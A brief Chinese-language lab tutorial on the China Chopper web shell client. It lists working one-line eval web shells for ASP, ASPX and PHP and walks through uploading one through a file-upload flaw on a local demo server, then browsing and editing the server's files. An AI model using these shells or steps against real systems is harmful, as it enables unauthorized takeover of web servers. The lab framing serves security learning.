中国菜刀配合一句话木马基本使用

中国菜刀配合一句话木马基本使用

目的：

• 学习一句话木马
• 学习菜刀的使用

原理：
菜刀的主要功能是用来连接一句话木马的，asp、aspx、php的一句话菜刀都可以连，只是这几种一句话语句不一样。

• asp的一句话是：<%eval request(“pass”)%>

• aspx的一句话是：<%@ Page Language=”Jscript”%><%eval(Request.Item["pass"],”unsafe”);%>

• php的一句话是：<?php @eval($_POST['pass']);?>

过程：

• 打开火狐，http://192.168.1.3:8080/up，打开文件上传漏洞演示脚本，点击中国菜刀连接一句话木马

• 点击浏览，上传php文件，木马地址为http://192.168.1.3:8080/up/images/lubr.php

• 打开中国菜刀

• 添加木马地址，密码为lubr，脚本类型php(eval)

• 添加到主界面

• 右键文件管理，即可查看目标服务器的完整目录，也可进行创建文件，修改文件，修改和下载等相关操作

• 右键单击浏览网站，即可实现浏览器功能，浏览该站点